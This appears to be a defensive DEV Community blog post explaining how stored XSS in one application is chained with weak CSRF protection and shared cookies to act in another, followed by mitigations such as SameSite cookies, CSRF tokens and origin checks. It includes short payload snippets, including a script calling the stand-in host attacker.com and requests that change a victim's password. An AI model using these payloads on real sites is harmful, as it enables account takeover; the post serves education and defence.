Arashad Dodhiya

Posted on Jun 14

How Attackers Chain XSS and CSRF Across Multiple Applications: Understanding Multistage Web Attacks

#security #javascript #csrf #xss

One vulnerability is dangerous. Two vulnerabilities together can become catastrophic.

Imagine this scenario.

You log into your company's internal dashboard in one tab.

In another tab, you're browsing a completely different application you trust.

Unknown to you, that application has been compromised by an attacker.

A few seconds later, sensitive actions start happening in the background:

Password changes
Money transfers
Account modifications
API calls you never intended to make

You never clicked anything.

You never saw a warning.

Yet the attack succeeded.

This is the reality of multistage attacks—where attackers chain multiple weaknesses together to bypass security controls.

One of the most dangerous combinations is:

XSS + Weak CSRF Protection + Shared Authentication

Let's break down how this attack works.

What Is a Multistage Attack?

Most real-world breaches don't rely on a single vulnerability.

Attackers chain weaknesses together.

Think of it like breaking into a building:

One flaw opens the front gate.
Another flaw unlocks the office.
A third flaw gives access to sensitive files.

Web attacks work exactly the same way.

An attacker might use:

Cross-Site Scripting (XSS)
Weak CSRF defenses
Misconfigured authentication
Shared session cookies

Individually, these bugs may seem minor.

Together?

They're extremely powerful.

The Attack Chain

Here's the simplified flow:

Application A compromised
        ↓
Victim visits Application A
        ↓
Stored/Reflected XSS executes
        ↓
Victim already authenticated to Application B
        ↓
Malicious requests sent to B
        ↓
Unauthorized actions performed

This is called a cross-application attack chain.

The victim never realizes anything happened.

Step 1: Application A Contains XSS

Suppose Application A contains a stored XSS vulnerability.

The attacker injects malicious JavaScript:

<script>
fetch("https://attacker.com/log");
</script>

Or more advanced payloads using JavaScript APIs like:

var xhr = new XMLHttpRequest();
xhr.open("POST", "https://app-b.example/change-email");
xhr.send();

When another user visits the vulnerable page, the script executes inside their browser.

This is where things become dangerous.

Because browsers trust code running inside a legitimate website.

Step 2: The Victim Is Already Logged Into Application B

Now imagine the victim is also logged into Application B.

This is common in enterprise environments:

HR portal
Admin dashboard
Payment system
Internal applications

The browser automatically sends session cookies for authenticated sites.

If Application B lacks proper protections, the attack moves to the next stage.

Step 3: XHR Requests Trigger Actions in Application B

The malicious script can generate background requests using:

var xhr = new XMLHttpRequest();

xhr.open(
  "POST",
  "https://app-b.example/change-password",
  true
);

xhr.send("password=hacked123");

Or modern JavaScript:

fetch(
  "https://app-b.example/api/admin",
  {
    method: "POST"
  }
);

If Application B relies only on cookies for authentication and lacks CSRF protection, the browser may include valid session cookies automatically.

From the server's perspective:

"This request came from an authenticated user."

But it didn't.

It came from malicious JavaScript.

Why XSS Makes CSRF Even Worse

Traditional CSRF attacks usually require tricking a victim into clicking a link or loading a page.

XSS changes the game completely.

Because once an attacker executes JavaScript in the browser, they can:

Send arbitrary requests
Read page content (depending on origin)
Trigger APIs
Automate actions
Chain multiple attacks together

Security researchers often say:

"XSS often defeats CSRF protections."

And they're right.

If an attacker controls JavaScript execution, many defensive layers become weaker.

Real-World Enterprise Risk

Large organizations frequently operate multiple applications:

portal.company.com
hr.company.com
admin.company.com
payroll.company.com

If authentication is shared across domains or cookies are broadly scoped, compromise of one application may affect others.

This creates a blast radius problem.

One vulnerable app can become a launching pad for attacks against the entire ecosystem.

And this is where most organizations underestimate risk.

The issue isn't just one vulnerable application.

It's how applications trust each other.

Defense: How to Stop This Attack Chain

Stopping multistage attacks requires multiple layers of defense.

1. Use SameSite Cookies

Modern browsers support:

Set-Cookie:
session=abc123;
SameSite=Lax

Or:

SameSite=Strict

This prevents browsers from sending cookies during certain cross-site requests.

It significantly reduces CSRF risk.

2. Implement Strong CSRF Tokens

Every state-changing request should require:

Unique tokens
Server-side validation
Session binding

Example:

<input
 type="hidden"
 name="csrf_token"
 value="random_token">

Without the correct token, the request fails.

Even if the attacker controls the browser.

3. Perform Origin and Referer Validation

Servers should verify:

Origin: https://app-b.example

If the request originates elsewhere:

https://evil.example

Reject it.

Origin checks add another important security layer.

4. Isolate Authentication Domains

Avoid sharing cookies across multiple applications.

Bad:

*.company.com

Better:

auth.company.com
hr.company.com
admin.company.com

Separate authentication reduces the impact of a single compromise.

5. Eliminate XSS Vulnerabilities

The strongest defense is preventing XSS entirely.

Use:

Output encoding
Context-aware escaping
Content Security Policy (CSP)
Secure frameworks
Input validation

Remember:

An XSS vulnerability often becomes much more than "just XSS."

The Bigger Security Lesson

Attackers rarely think in terms of individual vulnerabilities.

They think in chains.

A low-severity XSS bug today may become tomorrow's account takeover.

A missing CSRF token may become the missing piece of a larger attack.

Security isn't about protecting a single application.

It's about protecting the trust relationships between applications.

Because in modern web environments:

The real vulnerability is often the connection between systems—not the systems themselves.

Final Thoughts

Multistage attacks remind us of an important principle:

Security failures rarely happen because one thing went wrong. They happen because multiple small weaknesses align.

XSS.

Weak CSRF protection.

Shared authentication.

Individually manageable.

Combined? Potentially devastating.

As defenders, our job isn't only to patch vulnerabilities.

It's to understand how attackers chain them together before they do.

Which security control do you think organizations underestimate the most: CSP, CSRF tokens, or cookie isolation?

DEV Community